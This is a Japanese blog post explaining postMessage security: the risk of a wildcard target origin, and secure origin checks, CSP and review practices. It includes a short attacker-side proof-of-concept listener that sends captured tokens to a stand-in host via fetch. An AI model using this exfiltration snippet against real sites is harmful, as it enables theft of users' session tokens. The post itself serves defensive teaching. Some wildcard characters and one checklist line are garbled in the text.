なぜ、その postMessage は「鍵なしの金庫」なのか?
現場でコードレビューをしていると、未だに信じられない実装に出くわすことがある。フロントエンドのウィンドウ間通信、すなわち postMessage APIの乱用だ。
「とりあえず動けばいい」「クロスドメインで動かないから」という理由で、送信元検証(Origin Check)をサボったり、ワイルドカード “ を指定したりしていないだろうか? 結論から言えば、それは「誰でも入れる金庫を公開している」のと同じだ。
今日は、XSSや中間者攻撃の延長線上にある、この見落とされがちな「窓口のセキュリティ」について、実務的な解を提示する。
—
1. 攻撃者が「ワイルドカード」の隙を突くシナリオ
window.postMessage(message, targetOrigin) の第2引数に “ を指定するということは、「誰がこのメッセージを受け取ろうと知ったことではない」と宣言しているに等しい。
攻撃者は、あなたのWebアプリが埋め込まれた悪意あるiframeや、ブラウザの拡張機能、あるいは脆弱性のある別サイトを経由して、あなたのアプリから送信された機密データ(セッション情報、個人情報、APIトークン等)を盗み出すことができる。
攻撃のPoC(概念実証)
もしあなたが、自身のアプリで以下のようなコードを書いていたら、即座に修正が必要だ。
// 【脆弱なコード】送信先を制限していない
window.postMessage({ token: userToken }, ”);
攻撃者のサイト(悪意あるドメイン)で、あなたのアプリをiframeとして読み込み、message イベントをリッスンするだけで、userToken は簡単に奪取される。
// 攻撃者のサイト側のスクリプト
window.addEventListener(‘message’, (event) => {
// 誰からのメッセージでも受信してしまう
console.log(“盗んだデータ:”, event.data);
// あとは外部サーバーに送信するだけ
fetch(‘https://attacker.com/collect?data=’ + JSON.stringify(event.data));
});
この「情報漏洩」は、XSSのようにスクリプトを注入する必要すらない。単に「通信を傍受する」だけで成立するから厄介なのだ。
—
2. 絶対に守るべき「セキュアな実装」の鉄則
postMessage を実装する際は、「送信時」と「受信時」の両方で必ず検証を行うこと。これが鉄則だ。
送信側:宛先を明示せよ
“ は禁句だ。信頼できるドメイン名(Origin)をハードコードするか、環境変数から読み込むようにする。
// 【セキュアな送信】信頼できる特定のドメインのみに送信する
const trustedOrigin = ‘https://app.your-company.com’;
window.postMessage({ type: ‘AUTH_SUCCESS’, token: userToken }, trustedOrigin);
受信側:送信元を厳格にチェックせよ
受信側では event.origin を必ず確認する。ここを怠ると、外部から任意のコードを実行させられる「DOMベースのXSS」の入り口になる。
// 【セキュアな受信】イベントリスナーで必ず送信元を検証する
window.addEventListener(‘message’, (event) => {
// 1. 信頼できるドメインリスト
const allowedOrigins = [
‘https://app.your-company.com’,
‘https://partner.third-party.com’
];
// 2. 送信元の検証(ここが最も重要)
if (!allowedOrigins.includes(event.origin)) {
console.warn(‘信頼できない送信元からのアクセスをブロックしました:’, event.origin);
return;
}
// 3. データの構造を検証(型チェック)
if (typeof event.data !== ‘object’ || !event.data.type) {
return;
}
// 4. 安全な処理
console.log(‘検証済みデータ:’, event.data);
});
—
3. インフラと開発プロセスの「守り」
コードレベルの修正だけでなく、組織として以下の運用を徹底してほしい。
フロントエンド構成のガード
もし、iframeを多用する構成なら、Content-Security-Policy (CSP) を活用して、不正なスクリプトの実行を阻止する。
Nginxの設定例:
信頼できるドメインのみにiframeの読み込みを許可する
add_header Content-Security-Policy “frame-ancestors ‘self’ https://trusted.example.com;”;
開発フローへの組み込み
1. コードレビューの必須チェック項目にする: 「postMessage の第2引数は のチェックは入っているか?」をプルリクエストのチェックリストに加えること。 ではないか?」「event.origin
2. 静的解析ツールの導入: ESLint のプラグイン(例: eslint-plugin-security)で、不適切な postMessage の使用を自動検知するようにビルドパイプラインを組む。
—
最後に:セキュリティは「疑うこと」から始まる
現場のエンジニア諸君、セキュリティ対策は「面倒な作業」ではない。「システムの信頼性を担保するエンジニアリングそのもの」だ。
postMessage のようなAPIは非常に便利だが、その利便性の裏側には常に「攻撃者も同じAPIを使える」というリスクがある。「通信相手を信用するな、検証せよ」。この言葉をコードの片隅に刻んでおいてほしい。
もし、今のプロジェクトでワイルドカードを放置しているなら、今日のうちに修正を入れよう。それが、明日の大きなインシデントを防ぐ唯一の道だ。それでは、現場からは以上だ。また次の技術トピックで会おう。
コメント